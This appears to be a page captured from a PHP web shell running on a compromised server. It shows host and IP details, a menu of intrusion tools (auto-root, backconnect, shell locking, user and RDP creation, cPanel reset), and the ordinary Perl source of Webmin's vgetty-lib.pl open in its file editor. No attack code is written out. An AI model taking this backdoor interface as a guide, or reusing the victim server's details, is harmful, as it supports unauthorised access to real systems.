Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
vgetty /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
backup_config.pl
923
B
-rwxr-xr-x
config
63
B
-rw-r--r--
config.info
109
B
-rw-r--r--
config.info.ca
131
B
-rw-r--r--
config.info.cs
124
B
-rw-r--r--
config.info.de
119
B
-rw-r--r--
config.info.es
131
B
-rw-r--r--
config.info.hu
127
B
-rw-r--r--
config.info.ms
111
B
-rw-r--r--
config.info.nl
113
B
-rw-r--r--
config.info.no
108
B
-rw-r--r--
config.info.pl
133
B
-rw-r--r--
config.info.ru
169
B
-rw-r--r--
config.info.uk
172
B
-rw-r--r--
delete.cgi
1.32
KB
-rwxr-xr-x
edit_options.cgi
4.86
KB
-rwxr-xr-x
edit_vgetty.cgi
2.78
KB
-rwxr-xr-x
email.pl
1018
B
-rwxr-xr-x
index.cgi
1.41
KB
-rwxr-xr-x
install_check.pl
387
B
-rwxr-xr-x
list_messages.cgi
2.49
KB
-rwxr-xr-x
list_received.cgi
1.87
KB
-rwxr-xr-x
list_vgetty.cgi
1.18
KB
-rwxr-xr-x
listen.cgi
511
B
-rwxr-xr-x
log_parser.pl
749
B
-rwxr-xr-x
module.info
172
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
113
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
187
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
192
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
199
B
-rw-r--r--
module.info.ca
116
B
-rw-r--r--
module.info.ca.auto
15
B
-rw-r--r--
module.info.cs
25
B
-rw-r--r--
module.info.cs.auto
82
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
112
B
-rw-r--r--
module.info.de
91
B
-rw-r--r--
module.info.de.auto
15
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
225
B
-rw-r--r--
module.info.es
41
B
-rw-r--r--
module.info.es.auto
95
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
122
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
182
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
117
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
127
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
133
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
116
B
-rw-r--r--
module.info.hu
28
B
-rw-r--r--
module.info.hu.auto
100
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
118
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
145
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
119
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
122
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
125
B
-rw-r--r--
module.info.ms
120
B
-rw-r--r--
module.info.ms.auto
15
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
115
B
-rw-r--r--
module.info.nl
25
B
-rw-r--r--
module.info.nl.auto
78
B
-rw-r--r--
module.info.no
25
B
-rw-r--r--
module.info.no.auto
86
B
-rw-r--r--
module.info.pl
32
B
-rw-r--r--
module.info.pl.auto
95
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
131
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
140
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
124
B
-rw-r--r--
module.info.ru
51
B
-rw-r--r--
module.info.ru.auto
142
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
108
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
100
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
112
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
260
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
116
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
185
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
211
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
140
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
97
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
106
B
-rw-r--r--
save_options.cgi
3.9
KB
-rwxr-xr-x
save_vgetty.cgi
3.09
KB
-rwxr-xr-x
upload.cgi
1.79
KB
-rwxr-xr-x
vgetty-lib.pl
4.31
KB
-rwxr-xr-x
vgetty_apply.cgi
228
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vgetty-lib.pl
# vgetty-lib.pl # Common functions for editing the vgetty config files # XXX options under ring_type # XXX DTMF command shells http://vocp.sourceforge.net/ # XXX DTMF terminals http://telephonectld.sourceforge.net/ BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); # vgetty_inittabs() # Returns a list of inittab entries for mgetty, with options parsed sub vgetty_inittabs { local @rv; foreach $i (&inittab::parse_inittab()) { if ($i->{'process'} =~ /^(\S*vgetty)\s*(.*)\s+((\/.*)?tty\S+)(\s+(\S+))?$/) { $i->{'vgetty'} = $1; $i->{'args'} = $2; $i->{'tty'} = $3; $i->{'ttydefs'} = $6; push(@rv, $i); } elsif ($i->{'process'} =~ /^(\S*mgetty)\s*(.*)\s+((\/.*)?tty\S+)/) { $i->{'mgetty'} = $1; $i->{'tty'} = $3; push(@rv, $i); } } return @rv; } # get_config() # Parse the vgetty config file into a series of directives sub get_config { local @rv; local $lnum = 0; open(CONFIG, "<".$config{'vgetty_config'}); while(<CONFIG>) { s/\r|\n//g; s/#.*$//; local @v; while(/^\s*"([^"]*)"(.*)/ || /^\s*'([^']*)'(.*)/ || /^\s*(\S+)(.*)/) { push(@v, $1); $_ = $2; } if (@v) { push(@rv, { 'line' => $lnum, 'index' => scalar(@rv), 'name' => shift(@v), 'values' => \@v }); } $lnum++; } close(CONFIG); return @rv; } # find(name, &config) # Finds one more more config entries with the given name sub find { local ($c, @rv); foreach $c (@{$_[1]}) { push(@rv, $c) if (lc($c->{'name'}) eq lc($_[0])); } return wantarray ? @rv : $rv[0]; } # find_value(name, &config) sub find_value { local @v = &find($_[0], $_[1]); return undef if (!@v); return wantarray ? @{$v[0]->{'values'}} : $v[0]->{'values'}->[0]; } # tty_opt_file(base, tty) sub tty_opt_file { local $tf = $_[1]; $tf =~ s/^\/dev\///; $tf =~ s/\//\./g; $tf = "$_[0].$tf"; return $tf; } # answer_mode_input(value, name) sub answer_mode_input { local @modes = ( '', 'voice', 'fax', 'data' ); local @am = split(/:/, $_[0]); local ($i, $rv); for($i=0; $i<3; $i++) { $rv .= "<select name=$_[1]_$i>\n"; foreach $m (@modes) { $rv .= sprintf "<option value='%s' %s>%s</option>\n", $m, $am[$i] eq $m ? "selected" : "", $text{"vgetty_ans_$m"}; } $rv .= "</select> "; } return $rv; } # parse_answer_mode(name) sub parse_answer_mode { local (@rv, $i, $m); for($i=0; defined($m = $in{"$_[0]_$i"}); $i++) { push(@rv, $m) if ($m); } return join(":", @rv); } # receive_dir(&config) sub receive_dir { local $vdir = &find_value("voice_dir", \@conf); local $rdir = &find_value("receive_dir", \@conf); return $rdir =~ /^\// ? $rdir : "$vdir/$rdir"; } # messages_dir(&config) sub messages_dir { local $vdir = &find_value("voice_dir", \@conf); local $rdir = &find_value("message_dir", \@conf); return $rdir =~ /^\// ? $rdir : "$vdir/$rdir"; } # messages_index(&config) sub messages_index { local $dir = &messages_dir($_[0]); local $ifile = &find_value("message_list", \@conf); return "$dir/$ifile"; } # rmd_file_info(file) sub rmd_file_info { local $out = `rmdfile '$_[0]' 2>&1`; return undef if ($?); local @st = stat($_[0]); $_[0] =~ /\/([^\/]+)$/; local $rv = { 'file' => "$1", 'path' => $_[0], 'size' => $st[7], 'date' => $st[9], 'speed' => $out =~ /speed:\s+(\d+)/i ? "$1" : undef, 'type' => $out =~ /type\s+is:\s+"([^"]+)"/i ? "$1" : undef, 'bits' => $out =~ /sample:\s+(\d+)/i ? "$1" : undef }; return $rv; } # list_rmd_formats() sub list_rmd_formats { local @rv; open(RMD, "pvftormd -L 2>&1 |"); while(<RMD>) { if (/^\s+\-\s+(\S+)\s+([0-9, ]+)\s+(.*)/) { local $code = $1; local $bits = $2; local $desc = $3; $bits =~ s/\s//g; foreach $b (split(/,/, $bits)) { push(@rv, { 'code' => $code, 'bits' => $b, 'desc' => &text('pvfdesc', "$code ($desc)", $b), 'index' => scalar(@rv) }); } } } close(RMD); return @rv; } # save_directive(&config, name, value) sub save_directive { local $lref = &read_file_lines($config{'vgetty_config'}); local $old = &find($_[1], $_[0]); if ($old) { $lref->[$old->{'line'}] = "$_[1] $_[2]"; } else { push(@$lref, "$_[1] $_[2]"); } } # apply_configuration() # Apply the vgetty serial port configuration. Returns undef on success, or an # error message on failure sub apply_configuration { local $out = &backquote_logged("telinit q 2>&1 </dev/null"); return "<tt>$out</tt>" if ($?); &system_logged("killall vgetty"); return undef; } 1;
Close